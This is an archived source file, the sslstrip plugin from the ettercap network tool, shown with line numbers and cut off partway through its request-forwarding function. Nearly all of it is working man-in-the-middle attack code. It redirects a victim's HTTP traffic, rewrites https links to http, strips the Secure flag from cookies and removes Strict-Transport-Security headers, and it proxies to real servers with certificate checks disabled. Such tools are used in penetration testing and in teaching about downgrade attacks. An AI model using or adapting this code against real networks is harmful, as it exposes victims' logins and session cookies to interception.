"Fossies" - the Fresh Open Source Software Archive

Member "ettercap-0.8.3.1/plug-ins/sslstrip/sslstrip.c" (1 Aug 2020, 41140 Bytes) of package /linux/privat/ettercap-0.8.3.1.tar.gz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file. For more information about "sslstrip.c" see the Fossies "Dox" file reference documentation and the latest Fossies "Diffs" side-by-side code changes report: 0.8.3_vs_0.8.3.1.

    1 /*
    2     sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/)
    3    
    4     Copyright (C) Ettercap Development Team. 2012.
    5     
    6     This program is free software; you can redistribute it and/or modify
    7     it under the terms of the GNU General Public License as published by
    8     the Free Software Foundation; either version 2 of the License, or
    9     (at your option) any later version.
   10 
   11     This program is distributed in the hope that it will be useful,
   12     but WITHOUT ANY WARRANTY; without even the implied warranty of
   13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   14     GNU General Public License for more details.
   15 
   16     You should have received a copy of the GNU General Public License
   17     along with this program; if not, write to the Free Software
   18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
   19 
   20 */
   21 
   22 
   23 #include <ec.h>
   24 #include <ec_stdint.h>
   25 #include <ec_inet.h>
   26 #include <ec_plugins.h>
   27 #include <ec_hook.h>
   28 #include <ec_send.h>
   29 #include <ec_socket.h>
   30 #include <ec_threads.h>
   31 #include <ec_decode.h>
   32 #include <ec_utils.h>
   33 #include <ec_sleep.h>
   34 #include <ec_redirect.h>
   35 
   36 #include <pcre.h>
   37 
   38 #ifndef HAVE_STRNDUP
   39 #include <missing/strndup.h>
   40 #endif
   41 
   42 #ifdef OS_LINUX
   43 #include <linux/netfilter_ipv4.h>
   44 #endif
   45 #if defined OS_LINUX && defined WITH_IPV6
   46 #include <linux/netfilter_ipv6/ip6_tables.h>
   47 #endif
   48 
   49 
   50 #ifdef HAVE_SYS_POLL_H
   51 #include <sys/poll.h>
   52 #endif
   53 
   54 #include <curl/curl.h>
   55 
   56 #if (LIBCURL_VERSION_MAJOR < 7) || (LIBCURL_VERSION_MINOR < 26)
   57 #error libcurl 7.26.0 or up is needed
   58 #endif
   59 
   60 /*
   61  * This plugin will basically replace all https links sent to the user's browser with http 
   62  * but keep track of those https links to send a proper HTTPS request to the links when requested.
   63  */
   64 
   65 
   66 #if defined(OS_DARWIN) || defined(OS_BSD)
   67 #define SSLSTRIP_SET "21"
   68 #endif
   69 
   70 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
   71 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
   72 #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+=\\\\.&-]*)"
   73 //#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n"
   74 #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+=\\\\.&-]+); ?Secure"
   75 
   76 
   77 #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */
   78 
   79 #define HTTP_RETRY 500
   80 #define HTTP_WAIT 10 /* milliseconds */
   81 
   82 #define PROTO_HTTP 1
   83 #define PROTO_HTTPS 2
   84 
   85 #define HTTP_GET (1<<16)
   86 #define HTTP_POST (1<<24)
   87 
   88 #define HTTP_MAX (1024*200) //200KB max for HTTP requests.
   89 
   90 #define BREAK_ON_ERROR(x,y,z) do {  \
   91    if (x == -E_INVALID ) {            \
   92      http_wipe_connection(y);      \
   93      SAFE_FREE(z.DATA.data);       \
   94      SAFE_FREE(z.DATA.disp_data);  \
   95      ec_thread_exit();             \
   96    }                                \
   97 } while(0)
   98 
   99 
  100 
  101 /* lists */
  102 struct http_ident {
  103    u_int32 magic;
  104    #define HTTP_MAGIC 0x0501e77f
  105    struct ip_addr L3_src;
  106    u_int16 L4_src;
  107    u_int16 L4_dst;
  108 };
  109 
  110 #define HTTP_IDENT_LEN sizeof(struct http_ident)
  111 
  112 struct https_link {
  113    char *url;
  114    time_t last_used;
  115    LIST_ENTRY (https_link) next;   
  116 };
  117 
  118 struct http_request {
  119    int method;
  120    struct curl_slist *headers;
  121    char *url;
  122    char *payload;
  123 };
  124 
  125 struct http_response {
  126    char *html;
  127    unsigned long int len;
  128 };
  129 
  130 struct http_connection {
  131    int fd; 
  132    u_int16 port[2];
  133    struct ip_addr ip[2];
  134    CURL *handle; 
  135    struct http_request *request;
  136    struct http_response *response;
  137    char curl_err_buffer[CURL_ERROR_SIZE];
  138    #define HTTP_CLIENT 0
  139    #define HTTP_SERVER 1
  140 };
  141 
  142 LIST_HEAD(, https_link) https_links;
  143 static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER;
  144 #define LIST_LOCK     do{ pthread_mutex_lock(&list_mutex); } while(0)
  145 #define LIST_UNLOCK   do{ pthread_mutex_unlock(&list_mutex); } while(0)
  146 
  147 /* globals */
  148 static int main_fd, main_fd6;
  149 static struct pollfd poll_fd[2];
  150 static u_int16 bind_port;
  151 static pcre *https_url_pcre;
  152 static regex_t find_cookie_re;
  153 
  154 /* protos */
  155 int plugin_load(void *);
  156 static int sslstrip_init(void *);
  157 static int sslstrip_fini(void *);
  158 static void sslstrip(struct packet_object *po);
  159 static int sslstrip_is_http(struct packet_object *po);
  160 
  161 #ifndef OS_LINUX
  162 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po);
  163 static int sslstrip_match(void *id_sess, void *id_curr);
  164 static size_t http_create_ident(void **i, struct packet_object *po);
  165 #endif
  166 
  167 /* http stuff */
  168 static void Find_Url(u_char *to_parse, char **ret);
  169 
  170 
  171 static int http_sync_conn(struct http_connection *connection);
  172 static int http_get_peer(struct http_connection *connection);
  173 static int http_read(struct http_connection *connection, struct packet_object *po);
  174 static int http_write(int fd, char *ptr, unsigned long int total_len);
  175 static void http_remove_header(char *header, struct http_connection *connection);
  176 static void http_update_content_length(struct http_connection *connection);
  177 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len);
  178 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po);
  179 static void http_wipe_connection(struct http_connection *connection);
  180 static void http_handle_request(struct http_connection *connection, struct packet_object *po);
  181 static void http_send(struct http_connection *connection, struct packet_object *po, int proto);
  182 static void http_remove_https(struct http_connection *connection);
  183 static void http_remove_secure_from_cookie(struct http_connection *connection);
  184 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata);
  185 //static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream);
  186 
  187 
  188 
  189 /* thread stuff */
  190 static int http_bind_wrapper(void);
  191 static EC_THREAD_FUNC(http_child_thread);
  192 static EC_THREAD_FUNC(http_accept_thread);
  193 
  194 /*
  195  * Custom flag used by plugin to mark packets coming
  196  * from this plugin
  197  */
  198 
  199 #define PO_FROMSSLSTRIP ((u_int16)(1<<13))
  200 
  201 struct plugin_ops sslstrip_ops = {
  202    .ettercap_version =   EC_VERSION, /* must match global EC_VERSION */
  203    .name =         "sslstrip",
  204    .info =         "SSLStrip plugin",
  205    .version =      "1.2",
  206    .init =         &sslstrip_init,
  207    .fini =         &sslstrip_fini,
  208 };
  209 
  210 int plugin_load(void *handle)
  211 {
  212    return plugin_register(handle, &sslstrip_ops);
  213 }
  214 
  215 static int sslstrip_init(void *dummy)
  216 {
  217    const char *error;
  218    int erroroffset;
  219    int err;
  220    char errbuf[100];
  221 
  222    /* variable not used */
  223    (void) dummy;
  224 
  225    /*
  226     * Add IPTables redirect for port 80
  227          */
  228    if (http_bind_wrapper() != E_SUCCESS) {
  229       USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n");
  230       return PLUGIN_FINISHED;
  231    }
  232 
  233    https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL);
  234 
  235    if (!https_url_pcre) {
  236       USER_MSG("SSLStrip: plugin load failed: pcre_compile failed (offset: %d), %s\n", erroroffset, error);
  237       ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
  238             NULL, 80, bind_port);
  239 #ifdef WITH_IPV6
  240       ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
  241             NULL, 80, bind_port);
  242 #endif
  243 
  244       return PLUGIN_FINISHED;
  245    }   
  246 
  247    err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE);
  248    if (err) {
  249       regerror(err, &find_cookie_re, errbuf, sizeof(errbuf));
  250       USER_MSG("SSLStrip: plugin load failed: Could not compile find_cookie regex: %s (%d)\n", errbuf, err);
  251       pcre_free(https_url_pcre);
  252       ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV4,
  253             NULL, 80, bind_port);
  254 #ifdef WITH_IPV6
  255       ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV6,
  256             NULL, 80, bind_port);
  257 #endif
  258 
  259       return PLUGIN_FINISHED;
  260    }
  261 
  262    hook_add(HOOK_HANDLED, &sslstrip);
  263 
  264    /* start HTTP accept thread */
  265 
  266 
  267    ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1);
  268 
  269    USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n");
  270    return PLUGIN_RUNNING;
  271 }
  272 
  273 static int sslstrip_fini(void *dummy)
  274 {
  275 
  276    /* variable not used */
  277    (void) dummy;
  278 
  279    DEBUG_MSG("SSLStrip: Removing redirect\n");
  280    if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
  281             NULL, 80, bind_port) != E_SUCCESS) {
  282       USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
  283             "manually.\n");
  284    }
  285 #ifdef WITH_IPV6
  286    if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
  287             NULL, 80, bind_port) != E_SUCCESS) {
  288       USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
  289             "manually.\n");
  290    }
  291 #endif
  292 
  293    // Free regexes.
  294    if (https_url_pcre)
  295      pcre_free(https_url_pcre);
  296 
  297    regfree(&find_cookie_re);
  298 
  299    /* stop accept wrapper */
  300    pthread_t pid = ec_thread_getpid("http_accept_thread");
  301    
  302    if (!pthread_equal(pid, ec_thread_getpid(NULL)))
  303            ec_thread_destroy(pid);
  304 
  305    /* now destroy all http_child_thread */
  306    do {
  307       pid = ec_thread_getpid("http_child_thread");
  308       
  309       if(!pthread_equal(pid, ec_thread_getpid(NULL)))
  310          ec_thread_destroy(pid);
  311 
  312    } while (!pthread_equal(pid, ec_thread_getpid(NULL)));
  313 
  314    close(main_fd);
  315 #ifdef WITH_IPV6
  316    close(main_fd6);
  317 #endif
  318 
  319    /* Remove hook point */
  320    hook_del(HOOK_HANDLED, &sslstrip);
  321 
  322    return PLUGIN_FINISHED;
  323 }
  324 
  325 static int sslstrip_is_http(struct packet_object *po)
  326 {
  327    /* if already coming from SSLStrip or proto is not TCP */
  328    if (po->flags & PO_FROMSSLSTRIP || po->L4.proto != NL_TYPE_TCP)
  329       return 0;
  330 
  331    if (ntohs(po->L4.dst) == 80 ||
  332        ntohs(po->L4.src) == 80)
  333       return 1;
  334 
  335    if (strstr((const char*)po->DATA.data, "HTTP/1.1") ||
  336        strstr((const char*)po->DATA.data, "HTTP/1.0"))
  337       return 1;
  338    return 0;
  339 }
  340 
  341 #ifndef OS_LINUX
  342 static int sslstrip_match(void *id_sess, void *id_curr)
  343 {
  344    struct  http_ident *ids = id_sess;
  345    struct http_ident *id = id_curr;
  346 
  347    /* sanity checks */
  348    BUG_IF(ids == NULL);
  349    BUG_IF(id == NULL);
  350 
  351    /* check magic */
  352    if (ids->magic != id->magic)
  353       return 0;
  354 
  355    if (ids->L4_src == id->L4_src &&
  356        ids->L4_dst == id->L4_dst &&
  357        !ip_addr_cmp(&ids->L3_src, &id->L3_src))
  358    return 1;
  359 
  360    return 0;
  361 }
  362 
  363 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po)
  364 {
  365    void *ident;
  366    DEBUG_MSG("sslstrip_create_session");
  367    
  368    /* allocate the session */
  369    SAFE_CALLOC(*s, 1, sizeof(struct ec_session));
  370 
  371    /* create the ident */
  372    (*s)->ident_len = http_create_ident(&ident, po);
  373 
  374    /* link to the session */
  375    (*s)->ident = ident;
  376 
  377    /* the matching function */
  378    (*s)->match = sslstrip_match;
  379 
  380    /* alloc of data elements */
  381    SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr));
  382 }
  383 #endif
  384 
  385 /*
  386  * Filter HTTP related packets and create NAT sessions
  387  */
  388 static void sslstrip(struct packet_object *po)
  389 {
  390 
  391    if (!sslstrip_is_http(po))
  392       return;   
  393 
  394    /* If it's an HTTP packet, don't forward it */
  395     po->flags |= PO_DROPPED;
  396 
  397 
  398    if ( (po->flags & PO_FORWARDABLE) &&
  399         (po->L4.flags & TH_SYN) &&
  400        !(po->L4.flags & TH_ACK) ) {
  401 #ifndef OS_LINUX
  402       struct ec_session *s = NULL;
  403       sslstrip_create_session(&s, PACKET);   
  404       memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr));
  405       session_put(s);
  406       
  407 #endif
  408    } else {
  409       po->flags |= PO_IGNORE;
  410    }
  411 
  412 }
  413 
  414 /* Unescape the string */
  415 static void Decode_Url(u_char *src)
  416 {
  417    u_char t[3];
  418    u_int32 i, j, ch;
  419 
  420    /* Paranoid test */
  421    if (!src)
  422       return;
  423 
  424    /* NULL terminate for the strtoul */
  425    t[2] = 0;
  426 
  427    for (i=0, j=0; src[i] != 0; i++, j++) {
  428       ch = (u_int32)src[i];
  429       if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) {
  430          memcpy(t, src+i+1, 2);
  431          ch = strtoul((char *)t, NULL, 16);
  432          i += 2;
  433       }
  434       src[j] = (u_char)ch;
  435    }
  436    src[j] = 0;
  437 }
  438 
  439 /* Gets the URL from the request */
  440 static void Find_Url(u_char *to_parse, char **ret)
  441 {
  442    u_char *fromhere, *page=NULL, *host=NULL;
  443    u_int32 len;
  444    char *tok;
  445 
  446    if (!strncmp((char *)to_parse, "GET ", 4))
  447       to_parse += strlen("GET ");
  448    else if (!strncmp((char *)to_parse, "POST ", 5))
  449       to_parse += strlen("POST ");
  450    else
  451       return;
  452 
  453    /* Get the page from the request */
  454    page = (u_char *)strdup((char *)to_parse);
  455    if(page == NULL)
  456    {
  457       USER_MSG("SSLStrip: Find_Url: page is NULL\n");
  458       return;
  459    }
  460 
  461    ec_strtok((char *)page, " HTTP", &tok);
  462 
  463    /* If the path is relative, search for the Host */
  464    if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) {
  465       host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") );
  466       if(host == NULL)
  467       {
  468          USER_MSG("SSLStrip: Find_Url: host is NULL\n");
  469          return;
  470       }
  471       ec_strtok((char *)host, "\r", &tok);
  472    } else {
  473       host = (u_char*)strdup("");
  474       if(host == NULL)
  475       {
  476          USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n");
  477          return;
  478       }
  479    }
  480 
  481    len = strlen((char *)page) + strlen((char *)host) + 2;
  482    SAFE_CALLOC(*ret, len, sizeof(char));
  483    snprintf(*ret, len, "%s%s", host, page);
  484 
  485    SAFE_FREE(page);
  486    SAFE_FREE(host);
  487 
  488    Decode_Url((u_char *)*ret);
  489 }
  490 
  491 
  492 static EC_THREAD_FUNC(http_accept_thread)
  493 {
  494    struct http_connection *connection;
  495    struct sockaddr_storage client_ss;
  496    u_int len = sizeof(client_ss);
  497    int optval = 1, fd = 0, nfds = 1;
  498    socklen_t optlen = sizeof(optval);
  499    struct sockaddr *sa;
  500    struct sockaddr_in *sa4;
  501 #ifdef WITH_IPV6
  502    struct sockaddr_in6 *sa6;
  503 #endif
  504 
  505 
  506    /* variable not used */
  507    (void) EC_THREAD_PARAM;
  508 
  509    ec_thread_init();
  510 
  511    DEBUG_MSG("SSLStrip: http_accept_thread initialized and ready");
  512 
  513    poll_fd[0].fd = main_fd;
  514    poll_fd[0].events = POLLIN;
  515 #ifdef WITH_IPV6
  516    poll_fd[1].fd = main_fd6;
  517    poll_fd[1].events = POLLIN;
  518    nfds++;
  519 #endif
  520 
  521    LOOP {
  522 
  523       /* wait until one file descriptor becomes active */
  524       poll(poll_fd, nfds, -1);
  525 
  526       /* check which file descriptor became active */
  527       if (poll_fd[0].revents & POLLIN)
  528          fd = poll_fd[0].fd;
  529 #ifdef WITH_IPV6
  530       else if (poll_fd[1].revents & POLLIN)
  531          fd = poll_fd[1].fd;
  532 #endif
  533       else 
  534          continue;
  535 
  536       /* accept incoming connection */
  537       SAFE_CALLOC(connection, 1, sizeof(struct http_connection));
  538       BUG_IF(connection==NULL);
  539 
  540       SAFE_CALLOC(connection->request, 1, sizeof(struct http_request));
  541       BUG_IF(connection->request==NULL);
  542 
  543       SAFE_CALLOC(connection->response, 1, sizeof(struct http_response));
  544       BUG_IF(connection->response==NULL);
  545 
  546       connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len);
  547 
  548       DEBUG_MSG("SSLStrip: Received connection: %p %p\n", connection, connection->request);
  549       if (connection->fd == -1) {
  550          DEBUG_MSG("SSLStrip: Failed to accept connection: %s.", strerror(errno));
  551          SAFE_FREE(connection->request);
  552          SAFE_FREE(connection->response);
  553          SAFE_FREE(connection);
  554          continue;
  555       }
  556 
  557       sa = (struct sockaddr *)&client_ss;
  558       switch (sa->sa_family) {
  559          case AF_INET:
  560             sa4 = (struct sockaddr_in *)&client_ss;
  561             ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
  562             connection->port[HTTP_CLIENT] = sa4->sin_port;
  563             break;
  564 #ifdef WITH_IPV6
  565          case AF_INET6:
  566             sa6 = (struct sockaddr_in6 *)&client_ss;
  567             ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
  568             connection->port[HTTP_CLIENT] = sa6->sin6_port;
  569             break;
  570 #endif
  571       }
  572 
  573       connection->port[HTTP_SERVER] = htons(80);
  574       //connection->request->len = 0;
  575 
  576       /* set SO_KEEPALIVE */
  577       if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) {
  578          DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE");
  579       }
  580       /* create detached thread */
  581       ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1);   
  582    }
  583 
  584    return NULL;
  585 }
  586 
  587 static int http_get_peer(struct http_connection *connection)
  588 {
  589 
  590 #ifndef OS_LINUX
  591    struct ec_session *s = NULL;
  592    struct packet_object po;
  593    void *ident= NULL;
  594    int i;
  595 
  596    memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr));
  597    po.L4.src = connection->port[HTTP_CLIENT];
  598    po.L4.dst = connection->port[HTTP_SERVER]; 
  599 
  600    http_create_ident(&ident, &po);
  601 
  602    /* Wait for sniffing thread */
  603    for (i=0; i<HTTP_RETRY && session_get_and_del(&s, ident, HTTP_IDENT_LEN)!=E_SUCCESS; i++)
  604    ec_usleep(MILLI2MICRO(HTTP_WAIT));
  605 
  606    if (i==HTTP_RETRY) {
  607       SAFE_FREE(ident);
  608       return -E_INVALID;
  609    }
  610 
  611    memcpy(&connection->ip[HTTP_SERVER], s->data, sizeof(struct ip_addr));
  612 
  613    SAFE_FREE(s->data);
  614    SAFE_FREE(s);
  615    SAFE_FREE(ident);
  616 #else
  617    struct sockaddr_storage ss;
  618    struct sockaddr_in *sa4;
  619 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
  620    struct sockaddr_in6 *sa6;
  621 #endif
  622    socklen_t ss_len = sizeof(struct sockaddr_storage);
  623    switch (ntohs(connection->ip[HTTP_CLIENT].addr_type)) {
  624       case AF_INET:
  625          if (getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
  626             WARN_MSG("getsockopt failed: %s", strerror(errno));
  627             return -E_INVALID;
  628          }
  629          sa4 = (struct sockaddr_in *)&ss;
  630          ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
  631          break;
  632 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
  633       case AF_INET6:
  634          if (getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
  635             WARN_MSG("getsockopt failed: %s", strerror(errno));
  636             return -E_INVALID;
  637          }
  638          sa6 = (struct sockaddr_in6 *)&ss;
  639          ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
  640          break;
  641 #endif
  642    }
  643 
  644 #endif
  645 
  646    return E_SUCCESS;
  647 
  648 }
  649 
  650 
  651 #ifndef OS_LINUX
  652 static size_t http_create_ident(void **i, struct packet_object *po)
  653 {
  654    struct http_ident *ident;
  655 
  656    SAFE_CALLOC(ident, 1, sizeof(struct http_ident));
  657 
  658    ident->magic = HTTP_MAGIC;
  659 
  660    memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr));
  661    ident->L4_src = po->L4.src;
  662    ident->L4_dst = po->L4.dst;
  663 
  664    /* return the ident */
  665    *i = ident;
  666    return sizeof(struct http_ident);
  667 }
  668 #endif
  669 
  670 static int http_sync_conn(struct http_connection *connection) 
  671 {
  672    if (http_get_peer(connection) != E_SUCCESS)
  673       return -E_INVALID;
  674 
  675 
  676    set_blocking(connection->fd, 0);
  677    return E_SUCCESS;
  678 }
  679 
  680 static int http_read(struct http_connection *connection, struct packet_object *po)
  681 {
  682    int len = 0, ret = -E_INVALID;
  683    int loops = HTTP_RETRY;
  684 
  685    do {
  686       len = read(connection->fd, po->DATA.data, HTTP_MAX);
  687 
  688 
  689       if(len <= 0) {
  690          /* in non-blocking mode we have to evaluate the socket error */
  691          int err = 0;
  692          err = GET_SOCK_ERRNO();
  693 
  694          if (err == EINTR || err == EAGAIN) {
  695             /* data not yet arrived, wait a bit and keep trying */
  696             ec_usleep(MILLI2MICRO(HTTP_WAIT));
  697          }
  698          else
  699             /* something went wrong */
  700             break;
  701       }
  702       else {
  703          /* we got data - break up */
  704          ret = E_SUCCESS;
  705          break;
  706       }
  707    } while (--loops > 0);
  708 
  709    po->DATA.len = len;
  710 
  711    /* either we got data or something went wrong or timed out */
  712    return ret;
  713 }
  714 
  715 static void http_handle_request(struct http_connection *connection, struct packet_object *po)
  716 {
  717    struct https_link *link;
  718 
  719    SAFE_CALLOC(connection->request->url, 1, 512);
  720 
  721    if (connection->request->url==NULL)
  722       return;
  723 
  724    Find_Url(po->DATA.data, &connection->request->url);
  725 
  726    if (connection->request->url == NULL) {
  727       return;
  728    }
  729 
  730 
  731    //parse HTTP request
  732    if (!memcmp(po->DATA.data, "GET", 3)) {
  733       connection->request->method = HTTP_GET;
  734    } else if (!memcmp(po->DATA.data, "POST", 4)) {
  735       connection->request->method = HTTP_POST;
  736    }
  737 
  738    char *r = (char*)po->DATA.data;
  739 
  740    //Skip the first line of request
  741    if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL)
  742       return; // This doesn't seem to look as a HTTP header
  743 
  744    r += 2; //Skip \r\n
  745 
  746    char *h = strdup(r);
  747    char *body = strdup(r);
  748    BUG_IF(h==NULL);
  749    BUG_IF(body==NULL);
  750 
  751    char *end_header = strstr(h, "\r\n\r\n");
  752 
  753    if (!end_header)
  754    {
  755       SAFE_FREE(h);
  756       SAFE_FREE(body);
  757       return; //Something went really wrong here
  758    }
  759    *end_header = '\0';
  760 
  761    char *header;
  762    char *saveptr;
  763    header = ec_strtok(h, "\r\n", &saveptr);
  764 
  765    while(header) {
  766       connection->request->headers = curl_slist_append(connection->request->headers, header);
  767       header = ec_strtok(NULL, "\r\n", &saveptr);
  768    }
  769 
  770    SAFE_FREE(h);
  771 
  772    char *b = strstr(body, "\r\n\r\n");
  773 
  774    if (b != NULL) {
  775       b += 4;
  776       connection->request->payload = strdup(b);
  777       BUG_IF(connection->request->payload == NULL);
  778    }
  779 
  780    SAFE_FREE(body);
  781 
  782 
  783    int proto = PROTO_HTTP;
  784 
  785    LIST_LOCK;
  786    LIST_FOREACH(link, &https_links, next) {
  787       if (!strcmp(link->url, connection->request->url)) {
  788          proto = PROTO_HTTPS;
  789          break;
  790       }
  791    }
  792 
  793    LIST_UNLOCK;
  794 
  795 
  796    switch(proto) {
  797       case PROTO_HTTP:
  798          DEBUG_MSG("SSLStrip: Sending HTTP request");
  799          break;
  800       case PROTO_HTTPS:
  801          DEBUG_MSG("SSLStrip: Sending HTTPs request");
  802          break;
  803    }
  804 
  805    http_send(connection,po, proto);
  806 }
  807 
  808 static void http_send(struct http_connection *connection, struct packet_object *po, int proto)
  809 {
  810 
  811    curl_global_init(CURL_GLOBAL_ALL);
  812    connection->handle = curl_easy_init();
  813 
  814    if(!connection->handle) {
  815       DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle");
  816       return;
  817    }
  818 
  819    char *url;
  820 
  821    //Allow decoders to run for request
  822    if (proto == PROTO_HTTPS) {
  823       curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L);
  824       curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L);
  825 
  826       SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1);
  827       snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url);
  828    } else {
  829       SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1);
  830       snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url);
  831    }
  832 
  833 
  834    if (url==NULL) {
  835       DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url);
  836       return;
  837    }   
  838 
  839 
  840    curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
  841    curl_easy_setopt(connection->handle, CURLOPT_URL, url);
  842    curl_easy_setopt(connection->handle, CURLOPT_WRITEFUNCTION, http_receive_from_server);
  843    curl_easy_setopt(connection->handle, CURLOPT_WRITEDATA, connection);
  844    curl_easy_setopt(connection->handle, CURLOPT_ERRORBUFFER, connection->curl_err_buffer);
  845    curl_easy_setopt(connection->handle, CURLOPT_HEADER, 1L);
  846    curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers);
  847    curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip");
  848    curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate");
  849    curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine
  850 
  851    /* Only allow HTTP and HTTPS */
  852    curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP | 
  853                   (long)CURLPROTO_HTTPS);
  854    curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP | 
  855                   (long) CURLPROTO_HTTPS);
  856 
  857 
  858    if(connection->request->method == HTTP_POST) {
  859       curl_easy_setopt(connection->handle, CURLOPT_POST, 1L);
  860       curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload);
  861       curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload));
  862    }   
  863 
  864 
  865    if(curl_easy_perform(connection->handle) != CURLE_OK) {
  866       DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer);
  867       return;
  868    } else {
  869       DEBUG_MSG("SSLStrip: Sent request to server");
  870    }
  871 
  872    DEBUG_MSG("Before removing https: %s", connection->response->html);
  873    DEBUG_MSG("SSLStrip: Removing HTTPS");
  874    http_remove_https(connection);
  875    http_remove_secure_from_cookie(connection);
  876 
  877    if(strstr(connection->response->html, "\r\nContent-Encoding:") ||
  878       strstr(connection->response->html, "\r\nTransfer-Encoding:")) {
  879       http_remove_header("Content-Encoding", connection);
  880       http_remove_header("Transfer-Encoding", connection);
  881    }
  882 
  883 
  884    if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) {
  885       http_remove_header("Strict-Transport-Security", connection);
  886    }
  887 
  888    /* adjust content length header value */
  889    http_update_content_length(connection);
  890 
  891    DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html);
  892    //Send result back to client
  893    DEBUG_MSG("SSLStrip: Sending response back to client");
  894    if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){
  895       DEBUG_MSG("Unable to send HTTP response back to client\n");
  896    } else {
  897       DEBUG_MSG("Sent HTTP response back to client");
  898    }
  899 
  900 
  901    //Allow decoders to run on HTTP response
  902    http_initialize_po(po, (u_char*)connection->response->html, connection->response->len);
  903    packet_destroy_object(po);
  904       po->len = po->DATA.len;
  905       po->L4.flags |= TH_PSH;
